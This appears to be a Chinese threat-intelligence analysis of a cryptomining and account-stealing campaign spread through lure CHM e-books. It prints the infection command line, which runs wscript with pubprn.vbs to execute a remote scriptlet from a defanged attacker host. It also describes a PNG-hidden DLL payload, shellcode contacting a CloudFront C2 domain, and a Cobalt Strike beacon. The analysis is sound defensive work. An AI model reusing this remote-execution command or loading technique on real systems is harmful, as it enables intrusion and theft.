一、概述
近期腾讯御见威胁情报中心捕获到利用一堆色情类电子书(chm格式)传播的恶意挖矿病毒,病毒使用一批极具诱惑力的文件名(本文分析样本使用名为“想不想知道xx之间的秘密.chm”)在网络中传播。

病毒使用执行远程脚本的方法,并结合白利用,代码混淆,无文件内存装载等技术来躲避安全厂商的查杀,受害者一旦打开这些chm格式的电子书,病毒便会隐藏进用户机器中。
病毒目前行为主要有释放挖矿病毒,安装Chrome浏览器恶意插件,在用户交易虚拟加密币时劫持收款地址,盗取用户facebook帐号信息,并自动在facebook网站分享若干“小黄书”chm下载链接实现蠕虫式的传播。

二、样本分析
chm文档结构如下图,运行chm文档后文档内Load_HTML_CHM0.html内混淆的脚本代码会以命令行”C:\Windows\System32\wscript.exe” /b C:/Windows/System32/Printing_Admin_Scripts/zh-CN/pubprn.vbs 127.0.0.1 script:hxxp://png.realtimenews.tk/chm.sct
来执行hxxp://png.realtimenews.tk/chm.sct内的远程脚本。

脚本代码通过访问一个外部链接的图片q.png,并查找图片数据中的tEXt,iENd两个标记,截取tEXt+4位置到iENd-8处的文件内容,Base64解码后存放到Temp目录以tmpg.Jpg命名,并用Rundll32.exe拉起执行,tmpg.Jpg其实为一个带有导出函数VoidFunc且加壳的DLL。
截取png中隐藏数据

q.png表象上看为一个透明背景中心发亮的PNG图片。

q.png文件tEXt+4位置指向了一个BASE64编码的PE文件内容开始位置.

q.png文件iENd-8指向了一个BASE64编码的PE文件内容末尾位置。

Rundll32.exe进一步拉起执行tmpg.Jpg

tmpg.Jpg为带有导出函数VoidFunc的DLL

被RunDll32拉起的tmpg.Jpg通过执行导出函数VoidFun,然后在内存中解密出一段Shellcode,通过CreateThread的方式执行起来。
创建线程执行Shellcode

Shellcode代码通过遍历LDR链找到kernel32模块,然后获取LoadLibraryA的地址,加载Wininet模块,然后获得一系列网络操作函数
InternetConnectA,httpOpenRequestA,httpSendRequestA地址调用,最终向域名
dazqc4f140wtl.cloudfront.net发送一个Get网络请求,并使用InternetReadFIle来接收网络文件数据流,请求域名藏在Shellcode的尾部。
Shellcode装载Wininet模块

Get请求域名藏在解密后的Shellcode尾部

通过抓包工具可以直接看到,Get请求后服务器发送回来的数据流有一个明文的PE文件,通过从内存Dump出该模块可知该模块还是一个DLL,并使用反射式加载的方法,实现该模块代码不落地装载。
病毒Get请求后返回的明文PE文件数据流

反射式加载的DLL

观察该模块可知为Cobalt Strike生成的DLL后门攻击模块,该后门攻击模块数据交互支持HTTP、HTTPS、DNS和SMB隧道协议,本次样本使用HTTP协议的方式进行通信交互,后门攻击模块首先通过异或0×69解密出上线配置信息。
|